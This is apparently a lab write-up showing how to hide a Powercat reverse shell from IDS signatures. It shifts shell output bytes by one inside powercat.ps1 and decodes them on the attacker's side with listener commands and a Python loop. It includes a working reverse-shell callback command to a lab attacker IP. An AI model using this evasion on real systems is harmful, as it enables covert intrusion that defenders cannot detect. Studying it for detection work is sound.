Most Intrusion Detection Systems (IDS) have signatures that can catch simple reverse shells going across the network.
The thing that will get you flagged usually is the classic cmd prompt banner:
listening on [any] 443 ...
connect to [192.168.2.79] from ws01 [192.168.2.149] 56079
Microsoft Windows [Version 10.0.17763.475]
(c) 2018 Microsoft Corporation. All rights reserved.
This can usually be bypassed relatively easily with some simple traffic obfuscation and this quick lab demonstrates just that.
{% hint style="danger" %}
Warning
This technique is not meant to be used in real life red team operations!
{% endhint %}
- Victim's Windows system capable of running powershell scripts
- Victim's system runs Powercat - netcat's Powershell implementation
- Attacker's Windows machine with a powercat listener
- Attacker's Linux machine with a netcat listener
Since we want to obfuscate the outgoing traffic from the victim system to the attacking system, we need to obfuscate the responses generated by the reverse shell.
Let's modify powercat to achieve this. Int this lab, I will use a simple obfuscation technique - every ascii character will be shifted to the right by 1, so a
will become b
, b->c
, c->d
and so on, but base64 or any other encoding mechanisms could work.
In powercat.ps1, let's find the function ReadData_CMD
and add a new line (576 from the below graphic):
$Data = $Data | % {[byte]$_+1}
With the modified powercat, let's try establishing a reverse shell and catch it on the other end and see what happens:
# victim
powercat -c 192.168.2.79 443 -e cmd
#attacker
powercat -l -p 443 -v
Below shows the incoming reverse shell, but it's of course not readable since we shifted all the characters by one. Although this is enough to bypass IDS signatures relying on the cmd prompt banner crossing the network, the shell on itself is not very useful since we cannot read the results:
We need to decode the responses by using the code we used earlier and make sure that we are now subtracting 1 rather than adding, so that d
becomes c
, c->b
, b->a
and so on:
$Data = $Data | % {[byte]$_-1}
In powercat.ps1, find the function WriteData_Console
and add the code just below the parameter declaration:
If we try establishing the reverse shell now, we can see it gets decoded nicely on the attacking system running powercat listener on Windows:
If we inspect the traffic, we confirm that the traffic is encoded:
If we are listening for a shell in netcat on a Linux box with no powershell (my kali was giving me a hard time trying to install powershell), we need to hack together a filthy python loop that will do the decoding for us first:
{% code title="decode.py@kali" %}
#!/usr/bin/python3
import os, time
global decoded
while 1:
decoded = ""
encodedFile = open("myfile", "rb+")
i = 0
last = ""
encodedBytes = encodedFile.read()
for byte in encodedBytes:
if byte > 0 and byte <= 127:
byte -= 1
else:
byte = 10
if byte != last:
decoded += chr(byte)
last = byte
i += 1
if len(decoded) > 1:
print(decoded)
os.system("echo > myfile")
time.sleep(1)
{% endcode %}
Let's launch the netcat listener on a linux box and pipe the output to tee
so it can be put to a file myfile
{% code title="attacker@kali" %}
nc -lvvp 443 | tee myfile
{% endcode %}
In another terminal, we need to launch the decoder.py
which will read the myfile
every second and will decode its content and wipe it:
{% code title="attacker@kali" %}
./decoder.py
{% endcode %}
We can now send the reverse shell back from the windows machine and see how it works:
- Right - a compromised Windows system that will send a reverse shell to the attacker using powercat
- Top left - the reverse shell comes in, responses are encoded. This is where we can issue commands
- Bottom left - reverse shell responses are decoded